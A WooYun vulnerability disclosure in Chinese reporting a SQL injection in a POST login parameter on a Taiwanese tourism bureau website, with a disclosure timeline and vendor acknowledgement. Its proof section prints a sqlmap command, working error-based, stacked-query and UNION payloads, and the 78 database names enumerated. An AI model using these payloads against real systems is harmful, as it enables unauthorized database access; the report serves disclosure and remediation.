当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143537

漏洞标题:台灣交通觀光局一處SQL注入78庫(臺灣地區)

相关厂商:Hitcon台湾互联网漏洞报告平台

漏洞作者: 小龙

提交时间:2015-09-30 20:55

修复时间:2015-10-15 17:19

公开时间:2015-10-15 17:19

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态: 已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-30: 细节已通知厂商并且等待厂商处理中
2015-10-01: 厂商已经确认,细节仅向厂商公开
2015-10-11: 细节向核心白帽子及相关领域专家公开
2015-10-15: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

刷WB-。-

详细说明:

post注入

http://**.**.**.**/Appactivity/registration_login.aspx
傳輸的ContentPlaceHolder2%24user參數存在SQL注入

漏洞证明:

D:\python\sqlmap>sqlmap.py -r c:/1.txt --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150925}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 05:20:43
[05:20:43] [INFO] parsing HTTP request from 'c:/1.txt'
[05:20:43] [INFO] resuming back-end DBMS 'microsoft sql server'
[05:20:43] [INFO] testing connection to the target URL
[05:20:44] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ctl00$ContentPlaceHolder2$user (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUJNzYwNzQwODAwD2QWAmYPZBYEAgMPDxYCHgRUZXh0BSw8YSB
ocmVmPSdyZWdpc3RyYXRpb25fbG9naW4uYXNweCc+55m75YWlPC9hPmRkAg8PZBYCAgEPZBYCAgUPDxY
CHwAFFeW4s+iZn+WvhueivOmMr+iqpOOAgmRkZAQXcuiKy6cnh7pdxdvdfa+GZkad&__VIEWSTATEGEN
ERATOR=D92850F0&__EVENTVALIDATION=/wEWBALkyrD4AgLCob9vAv/28uwEAtDVoIgMxxz18v0ydp
mvx5T1F5bQ54nFNZM=&ctl00$ContentPlaceHolder2$user=asd' AND 7873=CONVERT(INT,(SEL
ECT CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7873=7
873) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(122)+CHAR(113)+C
HAR(113))) AND 'IBPt'='IBPt&ctl00$ContentPlaceHolder2$password=asd&ctl00$Content
PlaceHolder2$submit=%E7%99%BB%E5%85%A5
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: __VIEWSTATE=/wEPDwUJNzYwNzQwODAwD2QWAmYPZBYEAgMPDxYCHgRUZXh0BSw8YSB
ocmVmPSdyZWdpc3RyYXRpb25fbG9naW4uYXNweCc+55m75YWlPC9hPmRkAg8PZBYCAgEPZBYCAgUPDxY
CHwAFFeW4s+iZn+WvhueivOmMr+iqpOOAgmRkZAQXcuiKy6cnh7pdxdvdfa+GZkad&__VIEWSTATEGEN
ERATOR=D92850F0&__EVENTVALIDATION=/wEWBALkyrD4AgLCob9vAv/28uwEAtDVoIgMxxz18v0ydp
mvx5T1F5bQ54nFNZM=&ctl00$ContentPlaceHolder2$user=asd';WAITFOR DELAY '0:0:5'--&c
tl00$ContentPlaceHolder2$password=asd&ctl00$ContentPlaceHolder2$submit=%E7%99%BB
%E5%85%A5
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: __VIEWSTATE=/wEPDwUJNzYwNzQwODAwD2QWAmYPZBYEAgMPDxYCHgRUZXh0BSw8YSB
ocmVmPSdyZWdpc3RyYXRpb25fbG9naW4uYXNweCc+55m75YWlPC9hPmRkAg8PZBYCAgEPZBYCAgUPDxY
CHwAFFeW4s+iZn+WvhueivOmMr+iqpOOAgmRkZAQXcuiKy6cnh7pdxdvdfa+GZkad&__VIEWSTATEGEN
ERATOR=D92850F0&__EVENTVALIDATION=/wEWBALkyrD4AgLCob9vAv/28uwEAtDVoIgMxxz18v0ydp
mvx5T1F5bQ54nFNZM=&ctl00$ContentPlaceHolder2$user=asd' UNION ALL SELECT CHAR(113
)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)+CHAR(83)+CHAR(82)+CHAR(119)+CHAR(110)+
CHAR(66)+CHAR(113)+CHAR(115)+CHAR(82)+CHAR(116)+CHAR(82)+CHAR(113)+CHAR(112)+CHA
R(122)+CHAR(113)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &ctl00
$ContentPlaceHolder2$password=asd&ctl00$ContentPlaceHolder2$submit=%E7%99%BB%E5%
85%A5
---
[05:20:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[05:20:44] [INFO] fetching database names
[05:20:44] [INFO] the SQL query used returns 88 entries
available databases [78]:
[*] ALMANAC
[*] aspnetdb
[*] bike_talk
[*] bike_traval
[*] bk
[*] EastCoastNsa
[*] Ec_Bike2Taiwan
[*] ECNSA-GreenPack
[*] EcnsaAdmin
[*] EcnsaTour
[*] GUA
[*] Happiness
[*] happystay
[*] HotSpring
[*] MAOLIN01
[*] MAOLIN02
[*] master
[*] MobileService_Tourism
[*] model
[*] msdb
[*] NEYC02
[*] PENGHU01
[*] Penghu2014
[*] PengHu_Blog
[*] Penghu_wcm
[*] PenghuAct01
[*] PenghuStars
[*] pkstar
[*] ReportServer
[*] ReportServerTempDB
[*] SML02
[*] SML_Event01
[*] Southwest_OATB
[*] SouthwestCoast_new
[*] SouthwestCoastPic
[*] SunMoonLake_wcm
[*] sw_volunteer
[*] SWApply_old
[*] SWCOAST01
[*] swcoast_act2
[*] swcoast_new
[*] Swcoast_VE
[*] SwcoastDisability
[*] tbroc05
[*] TBROC09
[*] TBROC15
[*] TBROC16
[*] TBROC17
[*] TBROC18
[*] TBROC19
[*] tbroc21_ephoto
[*] TBROC23
[*] TBROC26
[*] TBROC31
[*] TBROC32
[*] TBROC33
[*] TBROC36_JobServiceDB
[*] TBROC36_TAMS2_LOG
[*] TBROC36_TAMS2_RPT
[*] TBROC36_TAMS2_SEC
[*] TBROC37
[*] TBROC38
[*] TBROC39
[*] TBROC40
[*] TBROC41
[*] TBROC43_JobServiceDB
[*] TBROC43_TAMS2_LOG
[*] TBROC43_TAMS2_RPT
[*] TBROC43_TAMS2_SEC
[*] TBROC46
[*] tempdb
[*] thsf
[*] tour101_db
[*] trimt2010
[*] Trimt_areadb
[*] Trimt_WCM
[*] TrimtAct
[*] XingHao
[05:20:44] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'


1.png


2.png


3.png


修复方案:

过滤SQL注入参数 select union等

版权声明:转载请注明来源 小龙@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-10-01 03:52

厂商回复:

感謝通報

最新状态:

2015-10-15:該活動網站已不明原因下架